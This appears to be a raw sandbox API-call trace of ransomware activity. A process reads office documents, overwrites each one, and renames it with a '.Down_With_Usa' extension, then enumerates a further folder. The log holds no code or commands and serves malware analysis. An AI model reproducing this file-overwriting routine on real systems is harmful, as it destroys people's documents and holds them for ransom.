[0120.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx.Down_With_Usa", lpFilePart=0x0) returned 0x6e
[0120.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0120.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\b13urufgisekp4k.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de72450, ftCreationTime.dwHighDateTime=0x1d5dc68, ftLastAccessTime.dwLowDateTime=0x20c15f0, ftLastAccessTime.dwHighDateTime=0x1d5e282, ftLastWriteTime.dwLowDateTime=0x23ff7300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1300)) returned 1
[0120.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0120.016] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\b13urufgisekp4k.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\b13urufgisekp4k.xlsx.down_with_usa")) returned 1
[0120.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls", lpFilePart=0x0) returned 0x59
[0120.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0120.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\bh6hffjzp.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0120.017] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x160db
[0120.018] ReadFile (in: hFile=0x3a8, lpBuffer=0x14ff9ba8, nNumberOfBytesToRead=0x160db, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x14ff9ba8*, lpNumberOfBytesRead=0x2eb358*=0x160db, lpOverlapped=0x0) returned 1
[0120.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls", lpFilePart=0x0) returned 0x59
[0120.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0120.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\bh6hffjzp.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0120.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls", lpFilePart=0x0) returned 0x59
[0120.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls.Down_With_Usa", lpFilePart=0x0) returned 0x67
[0120.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0120.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\bh6hffjzp.xls"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e918a0, ftCreationTime.dwHighDateTime=0x1d5e1f4, ftLastAccessTime.dwLowDateTime=0x68385980, ftLastAccessTime.dwHighDateTime=0x1d5e159, ftLastWriteTime.dwLowDateTime=0x2408f880, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x160e0)) returned 1
[0120.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0120.076] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\bh6hffjzp.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\bH6HfFjZp.xls.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\bh6hffjzp.xls.down_with_usa")) returned 1
[0120.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods", lpFilePart=0x0) returned 0x5a
[0120.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0120.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\egdfgxmzys.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0120.077] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xebce
[0120.077] ReadFile (in: hFile=0x3a8, lpBuffer=0x268a2c0, nNumberOfBytesToRead=0xebce, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x268a2c0*, lpNumberOfBytesRead=0x2eb358*=0xebce, lpOverlapped=0x0) returned 1
[0120.114] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods", lpFilePart=0x0) returned 0x5a
[0120.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0120.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\egdfgxmzys.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0120.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods", lpFilePart=0x0) returned 0x5a
[0120.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods.Down_With_Usa", lpFilePart=0x0) returned 0x68
[0120.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0120.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\egdfgxmzys.ods"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc96760, ftCreationTime.dwHighDateTime=0x1d5e1de, ftLastAccessTime.dwLowDateTime=0x3447eec0, ftLastAccessTime.dwHighDateTime=0x1d5e18f, ftLastWriteTime.dwLowDateTime=0x24101ca0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xebd0)) returned 1
[0120.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0120.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\egdfgxmzys.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\eGDfGxmzyS.ods.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\egdfgxmzys.ods.down_with_usa")) returned 1
[0120.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx", lpFilePart=0x0) returned 0x5d
[0120.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0120.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\jgg6q99ooozh.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0120.121] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xfb4d
[0120.121] ReadFile (in: hFile=0x3a8, lpBuffer=0x27b11f0, nNumberOfBytesToRead=0xfb4d, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x27b11f0*, lpNumberOfBytesRead=0x2eb358*=0xfb4d, lpOverlapped=0x0) returned 1
[0120.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx", lpFilePart=0x0) returned 0x5d
[0120.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0120.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\jgg6q99ooozh.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0120.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx", lpFilePart=0x0) returned 0x5d
[0120.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x6b
[0120.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0120.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\jgg6q99ooozh.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db37630, ftCreationTime.dwHighDateTime=0x1d5d94b, ftLastAccessTime.dwLowDateTime=0x94d26bc0, ftLastAccessTime.dwHighDateTime=0x1d5e4fb, ftLastWriteTime.dwLowDateTime=0x241740c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xfb50)) returned 1
[0120.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0120.170] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\jgg6q99ooozh.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\JGG6q99oOOZH.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\jgg6q99ooozh.pptx.down_with_usa")) returned 1
[0120.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt", lpFilePart=0x0) returned 0x56
[0120.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0120.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\rtjo9k.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0120.171] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x105a3
[0120.171] ReadFile (in: hFile=0x3a8, lpBuffer=0x26eb7b0, nNumberOfBytesToRead=0x105a3, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26eb7b0*, lpNumberOfBytesRead=0x2eb358*=0x105a3, lpOverlapped=0x0) returned 1
[0120.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt", lpFilePart=0x0) returned 0x56
[0120.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0120.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\rtjo9k.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0120.252] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt", lpFilePart=0x0) returned 0x56
[0120.252] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0120.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0120.252] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\rtjo9k.odt"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a992f60, ftCreationTime.dwHighDateTime=0x1d5e758, ftLastAccessTime.dwLowDateTime=0x570d71e0, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x2420c640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x105b0)) returned 1
[0120.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0120.253] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\rtjo9k.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\Rtjo9K.odt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\rtjo9k.odt.down_with_usa")) returned 1
[0120.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0120.255] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", lpFilePart=0x0) returned 0x54
[0120.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\", lpFilePart=0x0) returned 0x55
[0120.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.267] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.267] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd92cc0, ftCreationTime.dwHighDateTime=0x1d5e208, ftLastAccessTime.dwLowDateTime=0x7b5bb70, ftLastAccessTime.dwHighDateTime=0x1d5d8ad, ftLastWriteTime.dwLowDateTime=0x7b5bb70, ftLastWriteTime.dwHighDateTime=0x1d5d8ad, nFileSizeHigh=0x0, nFileSizeLow=0x846c, dwReserved0=0x0, dwReserved1=0x0, cFileName="in3l3Sp98M5nUhY.doc", cAlternateFileName="IN3L3S~1.DOC")) returned 1
[0120.267] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.267] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
